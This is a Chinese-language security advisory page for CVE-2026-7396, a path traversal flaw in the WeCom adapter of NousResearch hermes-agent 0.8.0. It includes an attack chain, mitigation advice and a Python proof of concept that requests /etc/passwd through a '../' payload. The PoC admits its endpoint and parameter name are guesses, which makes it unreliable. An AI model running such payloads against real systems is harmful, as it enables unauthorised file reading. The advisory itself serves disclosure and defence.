IPBUF安全漏洞报告
English
CVE-2026-7396 CVSS 5.3 中危

CVE-2026-7396 hermes-agent路径遍历漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-7396
漏洞类型
路径遍历
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NousResearch hermes-agent

相关标签

路径遍历信息泄露NousResearchhermes-agentCVE-2026-7396

漏洞概述

NousResearch hermes-agent 0.8.0版本中的企业微信平台适配器组件存在路径遍历漏洞。该漏洞源于gateway/platforms/wecom.py文件对用户输入处理不当,攻击者无需认证即可远程发起攻击。通过操纵特定参数,攻击者可利用路径遍历技术读取服务器上的敏感文件,导致信息泄露。目前该漏洞的利用代码已公开,建议尽快修复。

技术细节

该漏洞位于NousResearch hermes-agent项目的gateway/platforms/wecom.py文件中,具体涉及企业微信平台适配器的文件处理逻辑。由于代码在处理用户提供的路径参数时缺乏充分的边界检查和规范化处理,未能有效过滤“../”或绝对路径等特殊字符序列,导致攻击者能够控制访问的文件路径。攻击者可以通过网络向受影响接口发送特制的恶意数据包,利用路径遍历技术突破应用程序的根目录限制,从而未经授权地读取服务器上的敏感文件,例如SSH密钥、数据库配置文件或系统日志。鉴于该漏洞无需认证且利用难度较低,目前已有公开的PoC代码,风险不容忽视。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行NousResearch hermes-agent 0.8.0版本,并开启了企业微信平台适配器接口。
STEP 2
构造攻击载荷
攻击者利用路径遍历技术,在请求参数中插入“../”序列,构造指向系统敏感文件(如/etc/passwd)的恶意路径。
STEP 3
发送恶意请求
攻击者无需认证,直接向gateway/platforms/wecom.py接口发送包含恶意路径的HTTP请求。
STEP 4
信息泄露
服务器端未正确过滤路径,读取并返回了攻击者指定的文件内容,导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-7396 # Target: NousResearch hermes-agent 0.8.0 # Component: WeChat Work Platform Adapter (gateway/platforms/wecom.py) def exploit(target_url): # The vulnerable endpoint is likely related to file retrieval or message handling # Assuming the endpoint takes a file path parameter base_url = f"{target_url}/gateway/platforms/wecom" # Common path traversal payload to read /etc/passwd on Linux systems # Adjust the payload based on the actual parameter name (e.g., 'file', 'path', 'url') traversal_payload = "../../../../../../../../etc/passwd" params = { "file": traversal_payload # Hypothetical parameter name } try: print(f"[+] Sending request to {base_url} with payload: {traversal_payload}") response = requests.get(base_url, params=params, timeout=10) if response.status_code == 200: if "root:" in response.text: print("[!] Exploit successful! Sensitive file content retrieved:") print(response.text) else: print("[-] Request sent, but file content not recognized.") print(response.text[:200]) else: print(f"[-] Exploit failed. HTTP Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" # Replace with actual target exploit(target)

影响范围

NousResearch hermes-agent 0.8.0

防御指南

临时缓解措施
建议立即检查并升级受影响的NousResearch hermes-agent版本。在无法立即升级的情况下,应通过防火墙或网络ACL限制对该组件的外网访问,并在应用层面对文件路径参数实施严格的白名单校验,禁止包含“../”等特殊字符的请求通过,以临时降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表